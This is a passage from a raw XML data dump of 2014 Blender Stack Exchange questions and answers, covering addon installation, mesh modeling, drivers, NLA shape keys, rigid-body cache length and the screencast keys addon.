register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QuickRenderAddon.py&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#Script to quickly access different render presets, &#xA;#by clicking only one button&#xA;&#xA;import bpy&#xA;import os&#xA;&#xA;############# ... a bunch of function def's here, but I've&#xA;############# removed them as to not overwhelm you with code...&#xA;&#xA;def set_settings():&#xA;    set_output_settings()&#xA;    set_sampling_settings()&#xA;    set_dimension_settings()&#xA;&#xA;####################     Program:     ####################&#xA;render_folder = &quot;Render\\QuickRenderAddon&quot;&#xA;project_folder = &quot;F:\\06_MotionPath_Dev&quot;&#xA;os.chdir(project_folder)&#xA;&#xA;#set_settings()&#xA;#bpy.ops.render.render(animation=True)&#xA;&#xA;print(&quot;Program complete 2&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3247" LastEditorUserId="3247" LastEditDate="2014-11-24T14:56:50.200" LastActivityDate="2014-11-24T23:12:38.700" Title="Nothing happens when installing my own addon" Tags="&lt;python&gt;&lt;add-on&gt;&lt;import&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19170" PostTypeId="1" CreationDate="2014-11-24T05:38:21.813" Score="0" ViewCount="834" Body="&lt;p&gt;I'm a newbie, I noticed when you do head modeling, you need two picture, one for the face, and another for the side of the face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I want to create a 3d model of someone and I don't have a picture of the side of his face, or maybe not a symmetrical picture, I mean what if he's smiling but the side picture he's not smiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you create a head model of someone using only one picture? How?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, &lt;a href=&quot;https://www.youtube.com/watch?v=r6p_e9ThK3U&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; and many other, use two images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, say you want to practice by modeling the faces of celebrities or whatever, is there a website that would provide you with two pictures, one for the face and another for the side of the face?&lt;/p&gt;&#xA;" OwnerUserId="8077" LastEditorUserId="241" LastEditDate="2014-11-24T12:54:34.280" LastActivityDate="2014-11-24T12:54:34.280" Title="How many reference images are needed for head modeling?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="19172" PostTypeId="1" AcceptedAnswerId="19173" CreationDate="2014-11-24T13:25:00.553" Score="9" ViewCount="4284" Body="&lt;p&gt;I am new to blender and couldn't find how I could make a quarter cylinder. I first tried starting with a cube and subdividing two sides. But this subdivided the two sides into two directions, not just one. Then I tried starting with a cylinder and deleting the 3/4 the vertices which did not result in something useful either. What is the standard way to go?&lt;/p&gt;&#xA;" OwnerUserId="8168" LastEditorUserId="822" LastEditDate="2014-11-25T14:47:13.647" LastActivityDate="2019-03-21T10:26:45.577" Title="How to create Quarter Cylinder" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19173" PostTypeId="2" ParentId="19172" CreationDate="2014-11-24T14:43:36.067" Score="10" Body="&lt;p&gt;Create a circle with number of vertices that is multiple of 4 (eg 8,12,16...), select all vertices, press &lt;kbd&gt;E&lt;/kbd&gt; to extrude, press &lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;M&lt;/kbd&gt; to merge at center, delete unwanted vertices and extrude again to desired height.&lt;/p&gt;&#xA;" OwnerUserId="8169" LastEditorUserId="241" LastEditDate="2014-11-24T15:42:02.387" LastActivityDate="2014-11-24T15:42:02.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19174" PostTypeId="2" ParentId="19172" CreationDate="2014-11-24T14:47:27.873" Score="19" Body="&lt;p&gt;Although there are many ways to do so, you CAN create a quarter cylinder from a cube:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the cube object, Go to &lt;strong&gt;Edit mode&lt;/strong&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt; to bevel the selected edge, roll the mouse wheel to adjust segements;&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;A&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt; to select all vertices, then &lt;kbd&gt;W&lt;/kbd&gt; -&gt; &lt;em&gt;Remove Doubles&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/StFqw.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure the maximum bevel extent on that edge, you can consider either one of the following ways:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;After pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;B&lt;/kbd&gt;, you can see the available operations on the 3D View header (with shortcuts). So, you can then press &lt;kbd&gt;M&lt;/kbd&gt; three times to switch bevel mode to &lt;strong&gt;Percent&lt;/strong&gt;, then type &lt;strong&gt;100&lt;/strong&gt; for a maximum Offset percent.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vQAYd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;You can also do it after confirming the bevel operation, from either the lowerleft of the Tooblar (&lt;kbd&gt;T&lt;/kbd&gt;) or a seperate popup menu(&lt;kbd&gt;F6&lt;/kbd&gt;):&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bV9RI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="20508" LastEditDate="2016-07-24T20:27:31.923" LastActivityDate="2016-07-24T20:27:31.923" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="19176" PostTypeId="1" AcceptedAnswerId="19177" CreationDate="2014-11-24T15:56:04.287" Score="1" ViewCount="360" Body="&lt;p&gt;I have a blend file. I got it from &lt;a href=&quot;http://www.blendswap.com/blends/view/72367&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. A strange thing happens when you go to Edit Mode on &quot;body&quot; part. Well, the object called &quot;body&quot;. Anyway, when you do that the half of the object is clipped, you go back to Object Mode, the clipped part goes back. I figured out that applying the existing subsurf modifier fixes this weird behavior. &lt;br&gt; And another thing. The origin point is cyan instead of orange.&#xA;&lt;br&gt;&#xA;&lt;br&gt;&#xA;Any thoughts on why this happens and what's with the origin point color? &lt;br&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/2xdmmqrl29usumy/iPhone4S_final.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;Here's the file itself.&lt;/a&gt; (if you don't have an acc on blendswap) &lt;br&gt;&lt;br&gt;&#xA;Edited:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Thanks to Gonzou, his answer solves the mystery of the disappearing mesh. &lt;br&gt;&lt;/li&gt;&#xA;&lt;li&gt;The cyan dot mystery still remains. I looked through theme colors and didn't find any entry that controls that cyan dot. The &quot;Active Object&quot; entry only controls the outline color on that object. However, on a newly created object an origin dot color is orange (as it expected) and that &quot;Active Object&quot; entry controls an outline and dot colors. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8170" LastEditorUserId="8170" LastEditDate="2014-11-24T17:16:48.303" LastActivityDate="2014-11-24T17:16:48.303" Title="Strange behavior when going to Edit Mode" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-11-24T18:54:28.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="19177" PostTypeId="2" ParentId="19176" CreationDate="2014-11-24T16:05:45.257" Score="1" Body="&lt;p&gt;The half of the 'body' mesh is just hidden. You have to unhide it. Press &lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;H&lt;/kbd&gt;. The cyan point may be the matter of changed settings in &lt;em&gt;'User Preferences'&lt;/em&gt; (&lt;kbd&gt;CTRL&lt;/kbd&gt;+&lt;kbd&gt;ALT&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;).&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2014-11-24T16:11:45.043" LastActivityDate="2014-11-24T16:11:45.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19178" PostTypeId="1" AcceptedAnswerId="19179" CreationDate="2014-11-24T17:12:14.957" Score="4" ViewCount="1528" Body="&lt;p&gt;I've got this blend &lt;a href=&quot;https://www.dropbox.com/s/2xdmmqrl29usumy/iPhone4S_final.blend?dl=0&quot; rel=&quot;nofollow&quot;&gt;file&lt;/a&gt; (got it from &lt;a href=&quot;http://www.blendswap.com/blends/view/72367&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;). &#xA;So the mystery is that the origin point's color is cyan. Checked the options in theme colors, &quot;Active Object&quot; entry is set to orange (as it expected) and when I change it, it only changes the outline color of the object. Newly created objects have their origin point colors orange and the &quot;Active Object&quot; entry controls an outline color and an origin point color but not for the objects that were already in the scene. &lt;/p&gt;&#xA;" OwnerUserId="8170" LastActivityDate="2014-11-24T17:33:48.570" Title="Cyan origin dot mystery" Tags="&lt;interface&gt;&lt;customization&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19179" PostTypeId="2" ParentId="19178" CreationDate="2014-11-24T17:26:34.020" Score="8" Body="&lt;p&gt;Objects that are used in multiple scenes will have their object origins displayed as cyan.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file that you linked to contains 2 scenes, 'bottom' and 'side', as shown in the 3D header:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rRzyT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The object 'body' for example has a blue origin because it is used in both scenes. This means if you move the object in one scene the position of the same object in the other scene will also update to match it. You can see how many scenes an object is being used in by looking on the 'Object' panel of the object and noting the number of '&lt;a href=&quot;https://blender.stackexchange.com/questions/2448/what-does-users-means-in-term-of-datablocks&quot;&gt;users&lt;/a&gt;'. In the case of 'body' it is being used in 2 scenes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nPx86.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can separate the object in one scene from the other by clicking the '2'. Instead of one object linked between two scenes you would now end up with two independent objects, which are no longer linked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see '&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System#Copying_and_Linking_Objects_Between_Scenes&quot; rel=&quot;nofollow noreferrer&quot;&gt;Copying and linking objects between scenes&lt;/a&gt;' and '&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Scene_Creation#Linking_to_a_Scene&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linking to a scene&lt;/a&gt;' in the Blender Wiki Manual.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the outline of the object &lt;em&gt;and&lt;/em&gt; the object origin were blue it would be because the file was &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Linked_Libraries&quot; rel=&quot;nofollow noreferrer&quot;&gt;linked&lt;/a&gt; from another &lt;em&gt;file&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-11-24T17:33:48.570" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19181" PostTypeId="1" AcceptedAnswerId="91825" CreationDate="2014-11-24T19:42:46.010" Score="2" ViewCount="967" Body="&lt;p&gt;I want to add a driver to the z rotation local axis of an object, how can I do this?&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2017-10-07T17:41:39.040" LastActivityDate="2017-10-07T17:41:39.040" Title="how to add a driver to the z rotation local axis of an object?" Tags="&lt;drivers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19184" PostTypeId="1" CreationDate="2014-11-24T21:29:30.813" Score="3" ViewCount="332" Body="&lt;p&gt;I am trying to model kind of a helicopter rotor like this &lt;img src=&quot;https://i.stack.imgur.com/Bwn20.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to make it so that when I open one of the wings, the others open to. I want to make an animation like the wings are closed like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WHS9p.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then open to the position that they are in the fistr picture, without having to manually rotate them every time. Any help?&lt;/p&gt;&#xA;" OwnerUserId="8177" LastEditorUserId="2217" LastEditDate="2014-11-24T21:34:24.487" LastActivityDate="2014-11-24T21:59:32.880" Title="Rotating various objects in different axis" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19186" PostTypeId="2" ParentId="19172" CreationDate="2014-11-24T21:57:52.820" Score="8" Body="&lt;ol&gt;&#xA;&lt;li&gt;In &lt;em&gt;Edit Mode&lt;/em&gt; select 3/4 of the vertices of a Circle and delete the vertices &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;em&gt;Vertices&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/meXjT.png&quot; alt=&quot;delete menu in edit mode&quot;&gt;  &lt;/li&gt;&#xA;&lt;li&gt;Change the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Snapping_Modes&quot; rel=&quot;noreferrer&quot;&gt;snapping&lt;/a&gt; mode to &lt;em&gt;Vertex&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Extrude the end vertex along the Y axis, &lt;kbd&gt;E&lt;/kbd&gt; then &lt;kbd&gt;Y&lt;/kbd&gt; until it snaps to the other end of the curve.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Bvmld.png&quot; alt=&quot;extruding a vertex&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Select all the vertices with &lt;kbd&gt;A&lt;/kbd&gt;,&lt;kbd&gt;A&lt;/kbd&gt;; then make a face with &lt;kbd&gt;F&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Without changing the selection press &lt;kbd&gt;E&lt;/kbd&gt; then &lt;kbd&gt;Z&lt;/kbd&gt; to extrude along the Z axis.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is the final shape.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jJXrr.png&quot; alt=&quot;final shape&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-24T21:57:52.820" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19187" PostTypeId="1" AcceptedAnswerId="19190" CreationDate="2014-11-24T21:58:49.620" Score="0" ViewCount="1863" Body="&lt;p&gt;The character's file has some actions to control a rig (rigify) this works fine in the NLA but shape keys need to be controlled by a mesh. A setup like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gqagZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Even the offset (start keyframe) can be adjusted.&lt;/p&gt;&#xA;&lt;p&gt;The scene which links to the character's .blend has a proxy for the rig, actions work fine. But I don't get the key-track from the above image.&lt;/p&gt;&#xA;&lt;p&gt;When I add another proxy this time for the mesh instead of the rig another instance of the character is shown. The 2nd instance isn't animated by the rig but shows the shape key animation!&lt;/p&gt;&#xA;&lt;p&gt;What is the correct way to get a key-track in the NLA?&lt;/p&gt;&#xA;&lt;p&gt;(This is a follow up of: &lt;a href=&quot;https://blender.stackexchange.com/questions/16270/how-can-shape-keys-of-a-linked-object-be-controlled&quot;&gt;How can shape keys of a linked object be controlled?&lt;/a&gt; but after some reading I focus on the NLA tracks.)&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-25T22:52:47.120" Title="How can animated shape keys be used in the NLA when a character is linked from another .blend?" Tags="&lt;animation&gt;&lt;linked-data&gt;&lt;shape-keys&gt;&lt;rigify&gt;&lt;nla-editor&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19188" PostTypeId="2" ParentId="19184" CreationDate="2014-11-24T21:59:32.880" Score="2" Body="&lt;p&gt;You can add a driver to bind their rotation to the position of an empty:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/CshFw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Right click and &lt;code&gt;Add Single Driver&lt;/code&gt; to the appropriate axis of rotation on your blade. Repeat for each blade.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mg9C9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the graph editor and define your driver, for each blade:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0ngQv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made the z location of my empty drive the x rotation of my blades.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-24T21:59:32.880" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19189" PostTypeId="2" ParentId="19140" CreationDate="2014-11-24T22:05:34.443" Score="4" Body="&lt;p&gt;I believe that you would want to mix a Refraction shader with a Transparent one, using the Layer Weight's Facing as the factor; This gives you something similar to fresnel, which, however doesn't depend on surface normals, and can be blended.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2fEiP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3078" LastActivityDate="2014-11-24T22:05:34.443" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19190" PostTypeId="2" ParentId="19187" CreationDate="2014-11-24T22:10:37.980" Score="0" Body="&lt;p&gt;The idea of adding another proxy for the mesh seems to be correct, it should be noticed that only the instance of rig-proxy performs the bone-based-animation. But both instances do the shape-key animation. The other mesh-proxy instance can be hidden. Both rig and shape-key animation will be displayed .&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-24T22:10:37.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19191" PostTypeId="2" ParentId="19181" CreationDate="2014-11-24T22:15:44.670" Score="2" Body="&lt;ol&gt;&#xA;&lt;li&gt;Select your empty.&lt;/li&gt;&#xA;&lt;li&gt;Open the properties panel in the 3D view &lt;kbd&gt;N&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Hover over the Z axis of the location field, &lt;kbd&gt;RMB &lt;img src=&quot;https://wiki.blender.org/uploads/5/5e/Template-RMB.png&quot; alt=&quot;RMB&quot;&gt;&lt;/kbd&gt; &gt; &lt;em&gt;Add Single Driver&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/GZMZi.png&quot; alt=&quot;single driver&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;Open the &lt;em&gt;&lt;a href=&quot;https://wiki.blender.org/index.php/Doc:2.6/Manual/Animation/Editors/Graph&quot; rel=&quot;nofollow noreferrer&quot;&gt;Graph Editor&lt;/a&gt;&lt;/em&gt; and switch it to &lt;em&gt;Drivers&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the driver on the left panel, then press &lt;kbd&gt;N&lt;/kbd&gt; to open the properties and start editing the driver.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:45.187" LastActivityDate="2014-11-24T22:15:44.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19192" PostTypeId="2" ParentId="19172" CreationDate="2014-11-24T22:22:17.043" Score="11" Body="&lt;p&gt;Another way would be to use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Duplicating/Spin&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Spin-Tool&lt;/em&gt;&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with a plane, here in top view notice the position of the 3D cursor:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tS69i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Switch to right view and invoke the spin tool &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixbDE.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-11-24T22:22:17.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19193" PostTypeId="2" ParentId="19168" CreationDate="2014-11-24T23:12:38.700" Score="4" Body="&lt;p&gt;Not all keys in &lt;code&gt;bl_info&lt;/code&gt; dict are required, you should fill in as many as you can however:&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Guidelines/Addons&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/Dev:2.5/Py/Scripts/Guidelines/Addons&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't go to &lt;em&gt;User Preferences &gt; Addons &gt; Install from File...&lt;/em&gt; and pick &lt;code&gt;__init__.py&lt;/code&gt;, it will install that file only. Either&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;place your entire addon folder in one of Blender's addon directories (e.g. &lt;code&gt;addons&lt;/code&gt; folder in &lt;code&gt;bpy.utils.user_resource('SCRIPTS')&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;or zip up the folder and &lt;em&gt;Install from File...&lt;/em&gt; (which will unzip the folder to addons user dir)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-11-24T23:12:38.700" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19194" PostTypeId="2" ParentId="18979" CreationDate="2014-11-25T00:27:09.603" Score="2" Body="&lt;p&gt;localPosition is actually the position relative to the objects parent (for the most part, see below).  If the cube has no parent, it will be the same as worldPosition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move forward along the local Y axis:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj.applyMovement((0, 0.1, 0), True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Irrelevant localPosition quirk&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;localPosition isn't truly relative to the parent.  It's more like... relative to the parent modified by its world position when initially parented (or something like that).  So if your parent isn't at the origin when hiting control+P, the result might be kind of weird.  Intended behavior?  No idea.&lt;/p&gt;&#xA;" OwnerUserId="8075" LastActivityDate="2014-11-25T00:27:09.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19196" PostTypeId="1" AcceptedAnswerId="19197" CreationDate="2014-11-25T01:28:22.730" Score="1" ViewCount="2124" Body="&lt;p&gt;I have made a scene with many Rigid Body objects (1500 rectangular solids), which all operate correctly. However I now want to lengthen the animation period from the default 250 frames to a more reasonable range of around 2000. The issue I am having is the timeline continues like normal, but the &lt;em&gt;Rigid Body&lt;/em&gt; animation hangs on the 250th frame. Is it possible fix this issue, and preferably be able to to change all of these objects at once?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-25T02:15:01.953" Title="Is it possible to change the animation length of many Rigid Bodies?" Tags="&lt;cycles-render-engine&gt;&lt;animation&gt;&lt;rigid-body-simulation&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-25T11:43:54.260" ContentLicense="CC BY-SA 3.0" />
  <row Id="19197" PostTypeId="2" ParentId="19196" CreationDate="2014-11-25T02:15:01.953" Score="3" Body="&lt;p&gt;Go to Properties-&gt;Scene-&gt;Rigid_Body_Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change the end from 250 to 2000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eWrOw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-11-25T02:15:01.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19198" PostTypeId="1" AcceptedAnswerId="19201" CreationDate="2014-11-25T03:38:23.653" Score="30" ViewCount="46392" Body="&lt;p&gt;I can't find the &lt;em&gt;Screencast Keys&lt;/em&gt; which allow me to start the display. I have tried the right hand pop-up menu using the hotkey &lt;kbd&gt;N&lt;/kbd&gt;, but I could not find the &lt;em&gt;Screencast Keys&lt;/em&gt; menu which is usually located under the &lt;em&gt;Transform orientations&lt;/em&gt; rollout.&lt;/p&gt;&#xA;" OwnerUserId="8180" LastEditorUserId="15795" LastEditDate="2016-12-27T02:14:15.287" LastActivityDate="2018-05-15T18:05:53.347" Title="Where are my screencast keys?" Tags="&lt;interface&gt;&lt;shortcut&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="19199" PostTypeId="1" AcceptedAnswerId="19210" CreationDate="2014-11-25T04:55:59.127" Score="0" ViewCount="1095" Body="&lt;p&gt;I'm confused with this, when I have the arm in my desired position (the rest position A1) the upper arm doesn't bend to meet the IK target bone, see A2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But with the lower arm rotated in B1, when I move the IK target upwards, the arm bends to meet it, see B2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/BgeFYLP.jpg&quot; alt=&quot;pictures of problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is that? What can I do to fix?&lt;/p&gt;&#xA;" OwnerUserId="8182" LastActivityDate="2014-11-25T13:15:04.000" Title="Rigging - Inverse Kinematics Snapping" Tags="&lt;armature&gt;&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19201" PostTypeId="2" ParentId="19198" CreationDate="2014-11-25T06:41:56.927" Score="41" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Screencast_Key_Status_Tool&quot; rel=&quot;noreferrer&quot;&gt;Screencast keys&lt;/a&gt; is now an external addon (it was formerly distributed with blender, but &lt;a href=&quot;http://www.blendernation.com/2014/07/02/screencast-keys-addon-is-removed-b3d/#comment-638590&quot; rel=&quot;noreferrer&quot;&gt;has since been removed&lt;/a&gt;).&#xA;To use it:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://svn.blender.org/svnroot/bf-extensions/trunk/py/scripts/addons/space_view3d_screencast_keys.py&quot; rel=&quot;noreferrer&quot;&gt;download it&lt;/a&gt; (&lt;kbd&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwD4.png&quot; alt=&quot;RMB&quot; title=&quot;Right Mouse Button&quot; /&gt; RMB&lt;/kbd&gt; &lt;em&gt;&amp;gt; Save Link As…&lt;/em&gt; in most browsers, to save it as a &lt;code&gt;.py&lt;/code&gt; file)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Click &lt;em&gt;install from file&lt;/em&gt; in &lt;kbd&gt;⎈ Ctrl&lt;/kbd&gt;&lt;kbd&gt;⎇ Alt&lt;/kbd&gt;&lt;kbd&gt;U&lt;/kbd&gt;&amp;gt;&lt;em&gt;User preferences &amp;gt; Addons&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RDxnd.png&quot; alt=&quot;enter image description here&quot; 